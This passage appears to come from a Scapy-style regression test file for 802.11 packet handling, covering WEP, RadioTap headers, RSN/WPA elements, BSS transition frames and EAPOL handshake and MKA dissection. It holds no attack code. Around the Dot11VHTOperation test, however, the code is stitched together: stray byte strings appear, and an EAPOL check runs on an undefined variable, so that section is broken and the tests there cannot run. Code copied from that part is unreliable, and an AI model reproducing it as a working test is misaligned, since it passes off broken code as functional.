b'\x00\x00\t\x00\x02\x00\x00\x00\x10\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00e\xd9=\xb9' = WEP tests ~ wifi crypto Dot11 LLC SNAP IP TCP conf.wepkey = "" bck_conf_crypto_valid = conf.crypto_valid p = Dot11WEP(b'\x00\x00\x00\x00\xe3OjYLw\xc3x_%\xd0\xcf\xdeu-\xc3pH#\x1eK\xae\xf5\xde\xe7\xb8\x1d,\xa1\xfe\xe83\xca\xe1\xfe\xbd\xfe\xec\x00)T`\xde.\x93Td\x95C\x0f\x07\xdd') assert isinstance(p, Dot11WEP) conf.crypto_valid = bck_conf_crypto_valid conf.wepkey = "Fobar" r = raw(Dot11WEP()/LLC()/SNAP()/IP(src="127.0.0.1", dst="127.0.0.1")/TCP(seq=12345678)) r assert r == b'\x00\x00\x00\x00\xe3OjYLw\xc3x_%\xd0\xcf\xdeu-\xc3pH#\x1eK\xae\xf5\xde\xe7\xb8\x1d,\xa1\xfe\xe83\xca\xe1\xfe\xbd\xfe\xec\x00)T`\xde.\x93Td\x95C\x0f\x07\xdd' p = Dot11WEP(r) p assert TCP in p and p[TCP].seq == 12345678 = RadioTap - dissection & build data = b'\x00\x008\x00k\x084\x00oo\x0f\x98\x00\x00\x00\x00\x10\x00\x99\x16@\x01\xc5\xa1\x01\x00\x00\x00@\x01\x02\x00\x99\x16\x9d"\x05\x0b\x00\x00\x00\x00\x00\x00\xff\x01\x16\x01\x82\x00\x00\x00\x01\x00\x00\x00\x88\x020\x00\xb8\xe8VB_\xb2\x82*\xa8Uq\x15\xf0\x9f\xc2\x11\x16dP\xb0\x00\x00\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x00GC\xad@\x007\x11\x97;\xd0C\xde{\xac\x10\r\xee\x005\xed\xec\x003\xd5/\xfc\\\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00\tlocalhost\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\t:\x80\x00\x04\x7f\x00\x00\x01\xcdj\x88]' r = RadioTap(data) r = RadioTap(raw(r)) assert r.dBm_AntSignal == -59 assert r.ChannelFrequency == 5785 assert r.ChannelPlusFrequency == 5785 assert r.present == 3410027 assert r.A_MPDU_ref == 2821 assert r.KnownVHT == 511 assert r.PresentVHT == 22 assert r.notdecoded == b'' = RadioTap Big-Small endian dissection data = b'\x00\x00\x1a\x00/H\x00\x00\xe1\xd3\xcb\x05\x00\x00\x00\x00@0x\x14@\x01\xac\x00\x00\x00' r = RadioTap(data) r.show() assert r.present == 18479 = RadioTap MCS dissection data = b"\x00\x00\x0b\x00\x00\x00\x08\x00?,\x05" r = RadioTap(data) r.show() assert r.present.MCS assert r.knownMCS.MCS_bandwidth assert r.knownMCS.MCS_index assert r.knownMCS.guard_interval assert r.knownMCS.HT_format assert r.knownMCS.FEC_type assert r.knownMCS.STBC_streams assert not r.knownMCS.Ness assert not r.knownMCS.Ness_MSB assert r.MCS_bandwidth == 0 assert r.guard_interval == 1 assert r.HT_format == 1 assert r.FEC_type == 0 assert r.STBC_streams == 1 assert r.MCS_index == 5 assert r.Ness_LSB == 0 = RadioTap RX/TX Flags dissection data = b'\x00\x00\x0c\x00\x00\xc0\x00\x00\x02\x00\x3f\x00' r = RadioTap(data) r.show() assert r.present.TXFlags assert r.TXFlags.TX_FAIL assert r.TXFlags.CTS assert r.TXFlags.RTS assert r.TXFlags.NOACK assert r.TXFlags.NOSEQ assert r.TXFlags.ORDER assert r.present.RXFlags assert r.RXFlags.BAD_PLCP = RadioTap, other fields data = b'\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x85\t\xa0\x00\xe2\x00d\x00\x00\x00\x00\x00\x00\x01\xa0@:\x01\x00\xc0\xca\xa4}PLfA\xac\xe4\xb3\x00\xc04\xeb\xca\xa4}P\x00 \x08 \x00\x00\x00\x00\x0f)\x1d\xd4\xd49\x00\x03\x1f>' r = RadioTap(data) assert Dot11TKIP in r assert r[Dot11] assert r.dBm_AntSignal == -30 assert r.Lock_Quality == 100 assert r.RXFlags == 0 data = b'\x00\x00\x0f\x00\x00\x00\x00\x02\xff\x7f?\x00\x00\x04\x00' r = RadioTap(data) repr(r) assert list(r.hemuou_per_user_known) == ['NSTS'] = RadioTap - Dissection - guess_payload_class() test data = b'\x00\x00\r\x00\x04\x80\x02\x00\x02\x00\x00\x00\x00@\x00\x00\x00\xff\xff\xff\xff\xff\xff\xe8\x94\xf6\x1c\xdf\x8b\xff\xff\xff\xff\xff\xff\xa0\x01\x00\x10ciscosb-wpa2-eap\x01\x08\x02\x04\x0b\x16\x0c\x12\x18$2\x040H`l\x03\x01\x01-\x1an\x11\x1b\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' radiotap = RadioTap(data) assert radiotap.present.Rate assert radiotap.present.TXFlags assert radiotap.present.b18 assert radiotap.present == 163844 assert radiotap.guess_payload_class("") == Dot11 = RadioTap - Dissection with Extended presence mask data = b"\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x9e\t\xa0\x00\xa2\x00d\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x94S0\xe8\x93\xb2\x94S0\xe8\x93\xb2\xf0u\x85\xe1H\x9c\x08\x00\x00\x00d\x00\x11\x14\x00\x08Why Fye?\x01\x08\x82\x84\x8b\x96$0Hl\x03\x01\x0b\x05\x04\x00\x01\x00\x00*\x01\x04/\x01\x040\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x0c\x002\x04\x0c\x12\x18`\x0b\x05\x07\x00;\x00\x00-\x1a\xad\x19\x17\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x0b\x08\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x08\x04\x00\x08\x00\x00\x00\x00@\xdd1\x00P\xf2\x04\x10J\x00\x01\x10\x10D\x00\x01\x02\x10G\x00\x10\xef\xda]\xd2#\xe8\xa7\xf0\xb2/\xa4\x98\xbf\x0cv\xe7\x10<\x00\x01\x03\x10I\x00\x06\x007*\x00\x01 \xdd\t\x00\x10\x18\x02\x07\x00\x1c\x00\x00\xdd\x18\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00F\x05r\x08\x01\x00\x00\xdd\x1e\x00\x90L\x04\x08\xbf\x0c\xb2Y\x82\x0f\xea\xff\x00\x00\xea\xff\x00\x00\xc0\x05\x00\x0b\x00\x00\x00\xc3\x02\x00\x02\x08I\xc0\xdb" radiotap = RadioTap(data) assert radiotap.present.Ext assert len(radiotap.Ext) == 2 assert radiotap.Ext[0].present.b5 assert radiotap.Ext[0].present.b11 assert radiotap.Ext[0].present.b29 assert radiotap.Ext[0].present.Ext assert radiotap.Ext[1].present.b37 assert radiotap.Ext[1].present.b43 assert not radiotap.Ext[1].present.Ext assert radiotap.present.Flags assert radiotap.Flags.FCS assert Dot11FCS in radiotap assert radiotap.fcs == 0xdbc04908 assert Dot11EltRates in radiotap assert radiotap[Dot11EltRates].rates == [130, 132, 139, 150, 36, 48, 72, 108] = RadioTap - Build with Extended presence mask a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext") b = RadioTapExtendedPresenceMask(index=1, present="b32+b45+b59+b62") pkt = RadioTap(present="Ext", Ext=[a, b]) assert raw(pkt) == b'\x00\x00\x10\x00\x00\x00\x00\x80\x01\x10\x00\xa0\x01 \x00H' = RadioTap - dissect & build TLVs pkt = RadioTap( present="TLV+dBm_TX_Power+TXFlags+Channel+Rate+Flags", tlvs=[ RadioTapTLV(type=30, data=b"tes1t"), RadioTapTLV(type=1, data=b"a") ] ) assert raw(pkt) == b'\x00\x00,\x00\x0e\x84\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00tes1t\x00\x00\x00\x01\x00\x01\x00a\x00\x00\x00' pkt = RadioTap(raw(pkt)) assert pkt.present.TLV assert pkt.tlvs[0].type == 30 assert pkt.tlvs[0].data == b"tes1t" assert pkt.tlvs[0].pad == b"\0\0\0" assert pkt.tlvs[1].type == 1 assert pkt.tlvs[1].data == b"a" assert pkt.notdecoded == b"" = fuzz() calls for Dot11Elt() for i in range(10): assert isinstance(raw(fuzz(Dot11Elt())), bytes) = PMKIDListPacket - Check computation of nb_pmkids assert PMKIDListPacket(raw(PMKIDListPacket())).nb_pmkids == 0 assert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=["AZEDFREZSDERFGTY"]))).nb_pmkids == 1 assert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=["0123456789ABDEFX", "AZEDFREZSDERFGTY"]))).nb_pmkids == 2 = Dot11EltRSN - Check computation of nb_pairwise_cipher_suites and nb_akm_suites assert Dot11EltRSN(raw(Dot11EltRSN())).nb_pairwise_cipher_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP")]))).nb_pairwise_cipher_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP"), RSNCipherSuite(cipher="CCMP-128")]))).nb_pairwise_cipher_suites == 2 assert Dot11EltRSN(raw(Dot11EltRSN())).nb_akm_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite="PSK")]))).nb_akm_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite="PSK"), AKMSuite(suite="802.1X")]))).nb_akm_suites == 2 = Dot11EltMicrosoftWPA - Check computation of nb_pairwise_cipher_suites and nb_akm_suites assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_pairwise_cipher_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP")]))).nb_pairwise_cipher_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP"), RSNCipherSuite(cipher="CCMP-128")]))).nb_pairwise_cipher_suites == 2 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_akm_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite="PSK")]))).nb_akm_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite="PSK"), AKMSuite(suite="802.1X")]))).nb_akm_suites == 2 = Dot11BSSTMRequest - dissection pkt = RadioTap(b"\x00\x008\x00/@@\xa0 \x08\x00\xa0 \x08\x00\x00\x7f\x89&\x88\x00\x00\x00\x00\x10\x0c\xcc\x15@\x01\xe4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xe7&\x88\x00\x00\x00\x00\x16\x00\x11\x03\xe4\x00\xde\x01\xd0\x00<\x00\x92U\x1f\xe9g9J\xf2\x1c\x03)\x89J\xf2\x1c\x03)\x89\xc0\xce\n\x07\x01\x05\x05\x00\xff4\x10F\xf2\x1c\x03)\x89\x00\x00\x00\x00Q\x0b\x00\x03\x01\xff\xaaV\xdaY") assert Dot11BSSTMRequest in pkt assert pkt[Dot11Action].category == 10 assert pkt[Dot11Action][Dot11WNM].action == 7 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].token == 1 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].mode.Preferred_Candidate_List_Included assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].mode.Disassociation_Imminent assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].disassociation_timer == 5 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].validity_interval == 255 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].type == 52 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].len == 16 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].BSSID == "46:f2:1c:03:29:89" assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].AP_reach == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].security == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].key_scope == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].capabilities == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].mobility == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].HT == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].VHT == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].FTM == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].reserved == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].op_class == 81 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].channel == 11 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].phy_type == 0 = Dot11BSSTMResponse - dissection pkt = RadioTap(b"\x00\x00,\x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x0c<\x14@\x01\xce\x00d\x00\x00\x00\xd0\x00\xca\x01\xca\x02\xcc\x03\xd0\x00<\x00df$J\xe1\xc4\xa0\xcc+\xbe\xc9Odf$J\xe1\xc4p\x0c\n\x08\x01\x06\x004\rdf$J\xe1\xc3\x00\x00\x00\x00\x04\x0c\x00<\xdd\xdf=") assert Dot11BSSTMResponse in pkt assert pkt[Dot11Action].category == 10 assert pkt[Dot11Action][Dot11WNM].action == 8 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].token == 1 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].status == 6 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].termination_delay == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].type == 52 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].len == 13 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].BSSID == "64:66:24:4a:e1:c3" assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].AP_reach == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].security == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].key_scope == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].capabilities == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].mobility == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].HT == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].VHT == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].FTM == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].reserved == 0 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].op_class == 4 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].channel == 12 assert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].phy_type == 0 = Dot11Ack pkt = Dot11(bytes(Dot11()/Dot11Ack())) assert pkt.subtype == 13 assert pkt.type == 1 = Dot11CSA pkt = RadioTap(b"\x00\x008\x00/@@\xa0 \x08\x00\xa0 \x08\x00\x00\xfe\x83\x06\x10\x00\x00\x00\x00\x10\x02\x8a\t\xa0\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\x07\x10\x00\x00\x00\x00\x16\x00\x11\x03\xf8\x00\xfe\x01\xd0\x00\x00\x00\xff\xff\xff\xff\xff\xff\x0cs)d\xa5\r\x0cs)d\xa5\r\xb0!\x00\x04%\x03\x01\x0b\x05\x0b\xb9<\x8c") assert Dot11SpectrumManagement in pkt assert Dot11CSA in pkt assert Dot11EltCSA in pkt assert pkt[Dot11Action].category == 0 assert pkt[Dot11Action][Dot11SpectrumManagement].action == 4 assert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].ID == 37 assert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].len == 3 assert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].mode == 1 assert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].new_channel == 11 assert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].channel_switch_count == 5 = Dot11OBSS data = b'\x00\x008\x00/@@\xa0 \x08\x00\xa0 \x08\x00\x00\x7fB\xe9\n\x00\x00\x00\x00\x10\x16l\t\xa0\x00\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf\x9b\xe9\n\x00\x00\x00\x00\x16\x00\x11\x03\xc3\x00\xbf\x01\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff`\x8d&\xa6\xd6\x04`\x8d&\xa6\xd6\x04@S\xe2\xb0\x04\x00\x00\x00\x00\x00d\x00\x11\x14\x00\rArc-QA-Lab-2G\x01\x08\x82\x84\x8b\x96$0Hl\x03\x01\x01\x05\x04\x02\x03\x00\x00\x07\x06AE \x01\r\x14#\x02\x19\x00*\x01\x042\x04\x0c\x12\x18`0\x18\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x02\x00\x00\x0f\xac\x02\x00\x0f\xac\x04\x0c\x00\x0b\x05\x00\x00\xc1\x00\x00F\x053\x00\x00\x00\x006\x03d\x00\x00-\x1a\xef\x19\x17\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x01\x08\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x0e\x14\x00\n\x00,\x01\xc8\x00\x14\x00\x05\x00\x19\x00\x7f\n\x05\x00\x08\x80\x00\x00\x00@\x00@\xff #\x05\x00\x08\x12\x00\x10" \x02\xc0\x0fB\x85\x10\x00\x0c\x00\xea\xff\xea\xffz\x1c\xc7q\x1c\xc7q\x1c\xc7q\xff\x07$\xf4?\x00\x02\xfc\xff\xff\x0e&\x00\x00\xa4\x08 \xa4\x08@C\x08`2\x08\xdd\x1d\x00P\xf2\x04\x10J\x00\x01\x10\x10D\x00\x01\x02\x10<\x00\x01\x03\x10I\x00\x06\x007*\x00\x01 \xdd\x1e\x00\x90L\x04\x18\xbf\x0c\xb1i\x8a\x0f\xea\xff\x00\x00\xea\xff\x00\x00\xc0\x05\x00\x01\x00\x00\x00\xc3\x02\x005\xdd\n\x00\x10\x18\x02\x00\x00\x1c\x00\x00\x01\xdd\x18\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00\'\xa4\x00\x00BC^\x00b2/\x00l\x02\x7f\x00 \x8d\xf4\xe1' pkt = RadioTap(data) assert Dot11EltOBSS in pkt assert pkt[Dot11EltOBSS].ID == 74 assert pkt[Dot11EltOBSS].len == 14 assert pkt[Dot11EltOBSS].Passive_Dwell == 20 assert pkt[Dot11EltOBSS].Active_Dwell == 10 assert pkt[Dot11EltOBSS].Scan_Interval == 300 assert pkt[Dot11EltOBSS].Passive_Total_Per_Channel == 200 assert pkt[Dot11EltOBSS].Active_Total_Per_Channel == 20 assert pkt[Dot11EltOBSS].Delay == 5 assert pkt[Dot11EltOBSS].Activity_Threshold == 25 = Dot11VHTOperation pkt = RadioTap(b"\x00\x008\x00/@@\xa0 \x08\x00\xa0 \x08\x00\x00K\x1178\x00\x00\x00\x00\x10\x0c<\x14@\x01\xba\x00\x00\x00\x00\x00\x00\x00\x00\x00\xffj78\x00\x00\x00\x00\x16\x00\x11\x03\xb6\x00\xba\x01\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff`\x8d&\xa6\xd6\x05`\x8d&\xa6\xd6\x05\xb0i~\x96\x9e\x03\x00\x00\x00\x00d\x00\x11\x11\x00\rArc-QA-Lab-5G\x01\x08\x8c\x12\x98$\xb0H`l\x05\x04\x00\x03\x00\x00\x07\x0c\x00\x00@\x11\xe1\x95\xac\x10\x01\x90\xac\x10\x014EZEZ\x00S\xda\x93EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xa2\x81\xba\xc2\xdf\x00\x00<\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+A\x88U\xaa\x1b\xff\xfffU{;:\x1a\x9b\x01uE\x00\xf1\x03Z\x8b\xf0\x00\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x11"lF' ack_frame = b'\x00"\x19\x100\xe5\x00\x1c\xda\x00\x10\x04\x08\x00E\x00\x00A>\x0e\x00\x00@\x11\xe1\xb9\xac\x10\x01\x90\xac\x10\x014EZEZ\x00-d7EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xa8\x84\xcb\x07\xd0\x00\x00<\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00[\xeeY' router_adv = b'\x00"\x19\x100\xe5\x00\x1c\xda\x00\x10\x04\x08\x00E\x00\x00\xab>F\x00\x00@\x11\xe1\x17\xac\x10\x01\x90\xac\x10\x014EZEZ\x00\x97\x81\xb0EX\x02\x01\x03\x00Y\x01\xff\x00\x02\xab\xe8E\xce\xbf\xec\x00\x00\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xdd\x14\x00\x0f\xac\x04\x03\xca?d\xca\xed\xdd\xef\xf69;\xefX\xd4\x97w' wifi = Dot11(s) assert wifi[EAPOL].key_descriptor_type == 2 assert wifi[EAPOL].encrypted_key_data == 0 assert wifi[EAPOL].key_ack == 1 assert wifi[EAPOL].key_type == 1 assert wifi[EAPOL].key_descriptor_type_version == 2 assert wifi[EAPOL].key_replay_counter == 4 assert wifi[EAPOL].has_key_mic == 0 assert wifi[EAPOL].key_data_length == 22 assert len(wifi[EAPOL].key_data) == 22 = EAPOL-Key - Key 1 - Dissection (1) s = b'\x02\x03\x00\x75\x02\x00\x8a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x12\x6a\xce\x64\xc1\xa6\x44\xd2\x7b\x84\xe0\x39\x26\x3b\x63\x3b\xc3\x74\xe3\x29\x9d\x7d\x45\xe1\xc4\x25\x44\x05\x48\x05\xbf\xe5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xdd\x14\x00\x0f\xac\x04\x05\xb1\xb6\x8b\x5a\x91\xfc\x04\x06\x83\x84\x06\xe8\xd1\x5f\xdb' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 3) assert(eapol.len == 117) assert(eapol.haslayer(EAPOL_KEY)) eapol_key = eapol[EAPOL_KEY] assert(eapol_key.key_descriptor_type == 2) assert(eapol_key.key_descriptor_type_version == 2) assert(eapol_key.key_type == 1) assert(eapol_key.key_length == 16) assert(eapol_key.install == 0) assert(eapol_key.key_ack == 1) assert(eapol_key.key_mic == b"\x00" * 16) assert(eapol_key.secure == 0) assert(eapol_key.key_data_length == 22) assert(eapol_key.guess_key_number() == 1) = EAPOL_KEY - Key 2 - Dissection (2) s = b'\x02\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x60\x5e\x85\xa7\x9c\xfa\xfd\xb0\xea\xa0\x50\x68\x3f\x97\xbe\x1b\x66\xde\xf7\xbc\x65\x20\x57\x31\x68\x71\xc2\x73\xc5\xae\x47\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91\x89\xcd\xf1\x88\x54\x8e\x73\xcd\x37\xd5\x78\x52\x66\x05\x88\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x28\x00' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 3) assert(eapol.len == 117) assert(eapol.haslayer(EAPOL_KEY)) eapol_key = eapol[EAPOL_KEY] assert(eapol_key.key_descriptor_type == 2) assert(eapol_key.key_descriptor_type_version == 2) assert(eapol_key.key_type == 1) assert(eapol_key.key_length == 16) assert(eapol_key.install == 0) assert(eapol_key.key_ack == 0) assert(eapol_key.has_key_mic == 1) assert(eapol_key.secure == 0) assert(eapol_key.key_data_length == 22) assert(eapol_key.guess_key_number() == 2) = EAPOL_KEY - Key 3 - Dissection (3) s = b'\x02\x03\x00\x97\x02\x13\xca\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x12\x6a\xce\x64\xc1\xa6\x44\xd2\x7b\x84\xe0\x39\x26\x3b\x63\x3b\xc3\x74\xe3\x29\x9d\x7d\x45\xe1\xc4\x25\x44\x05\x48\x05\xbf\xe5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xce\x1f\x1e\x80\xe7\x6c\xbf\x4a\x5c\xe9\xce\x84\x6d\x20\x7f\x7d\x00\x38\x10\xcc\x53\x66\x65\x5f\x7f\xf5\xd5\x5a\xf8\xc3\x87\x69\x85\xde\x7d\x96\xaa\xfd\x2b\x93\x48\x9f\x6c\xdf\x5f\x9c\x26\x2b\xe1\xad\x21\xeb\xce\x62\xc9\x4d\x88\x97\x1f\xd7\x5e\x23\xf6\x96\xf6\xc0\xe0\x1e\xf3\x52\x85\xe2\xf2\xcc' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 3) assert(eapol.len == 151) assert(eapol.haslayer(EAPOL_KEY)) eapol_key = eapol[EAPOL_KEY] assert(eapol_key.key_descriptor_type == 2) assert(eapol_key.key_descriptor_type_version == 2) assert(eapol_key.key_type == 1) assert(eapol_key.key_length == 16) assert(eapol_key.install == 1) assert(eapol_key.key_ack == 1) assert(eapol_key.has_key_mic == 1) assert(eapol_key.secure == 1) assert(eapol_key.key_data_length == 56) assert(eapol_key.guess_key_number() == 3) = EAPOL_KEY - Key 4 - Dissection (4) s = b'\x02\x03\x00\x5f\x02\x03\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x60\x5e\x85\xa7\x9c\xfa\xfd\xb0\xea\xa0\x50\x68\x3f\x97\xbe\x1b\x66\xde\xf7\xbc\x65\x20\x57\x31\x68\x71\xc2\x73\xc5\xae\x47\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x27\x95\xe1\x76\xeb\x6b\xba\xc1\x6e\x06\x16\xb4\x14\x94\xd6\x0a\x00\x00' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 3) assert(eapol.len == 95) assert(eapol.haslayer(EAPOL_KEY)) eapol_key = eapol[EAPOL_KEY] assert(eapol_key.key_descriptor_type == 2) assert(eapol_key.key_descriptor_type_version == 2) assert(eapol_key.key_type == 1) assert(eapol_key.key_length == 16) assert(eapol_key.install == 0) assert(eapol_key.key_ack == 0) assert(eapol_key.has_key_mic == 1) assert(eapol_key.secure == 1) assert(eapol_key.key_data_length == 0) assert(eapol_key.key_data == b'') assert(eapol_key.guess_key_number() == 4) ############ ############ + EAPOL-MKA class tests = EAPOL-MKA - With Basic parameter set - Dissection eapol = None s = b'\x03\x05\x00T\x01\xff\xf0<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xff\x00\x00\x10\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj' eapol = EAPOL(s) assert eapol.version == 3 assert eapol.type == 5 assert eapol.len == 84 assert eapol.haslayer(MKAPDU) assert eapol[MKAPDU].basic_param_set.actor_member_id == 